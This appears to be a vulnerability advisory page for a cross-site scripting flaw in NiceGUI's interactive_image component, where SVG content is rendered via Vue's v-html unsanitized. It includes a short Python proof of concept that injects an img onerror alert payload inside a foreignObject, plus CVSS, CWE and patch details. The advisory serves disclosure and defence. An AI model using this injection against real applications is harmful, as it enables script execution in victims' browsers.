NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content

Description

Summary

A Cross-Site Scripting (XSS) vulnerability exists in the ui.interactive_image component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's v-html directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG <foreignObject> tag.

Details

The vulnerability is located in nicegui/elements/interactive_image.js.
The component uses the following code to render content:

<g v-html="content"></g>

Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a <foreignObject> tag containing malicious scripts, bypassing typical image restrictions.

PoC

from nicegui import ui

@ui.page(&#x27;/&#x27;)
def main():
    ui.label(&#x27;NiceGUI SVG XSS PoC&#x27;)

    # Standard image loading
    img = ui.interactive_image(&#x27;[https://picsum.photos/640/360](https://picsum.photos/640/360)&#x27;)

    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        &#x27;&lt;foreignObject&gt;&#x27;
        &#x27;&lt;body xmlns=&quot;[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)&quot;&gt;&#x27;
        &#x27;&lt;img src=x onerror=alert(&quot;XSS-SVG&quot;)&gt;&#x27;
        &#x27;&lt;/body&gt;&#x27;
        &#x27;&lt;/foreignObject&gt;&#x27;
    )

ui.run()

Impact

  • Type: Reflected / Stored XSS (depending on data source)

  • Severity: Moderate

  • Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-12-08 21:30:39 UTC
Updated
2025-12-09 16:32:10 UTC
GitHub reviewed
2025-12-08 21:30:39 UTC
NVD published
2025-12-09 01:16:54 UTC

EPSS Score

Score Percentile
0.02% 5.44%

CVSS Scores

Base score Version Severity Vector
6.1 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:C)
Breaking this can reach past the original component and bite other resources—bigger blast radius.
Confidentiality (C:L)
Some sensitive info could get out, but not a total data dump.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Credits

  • twmoon (reporter)
  • evnchn (remediation_developer)
  • falkoschindler (remediation_reviewer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip nicegui <= 3.3.1 3.4.0

References

cvelogic Threat Intelligence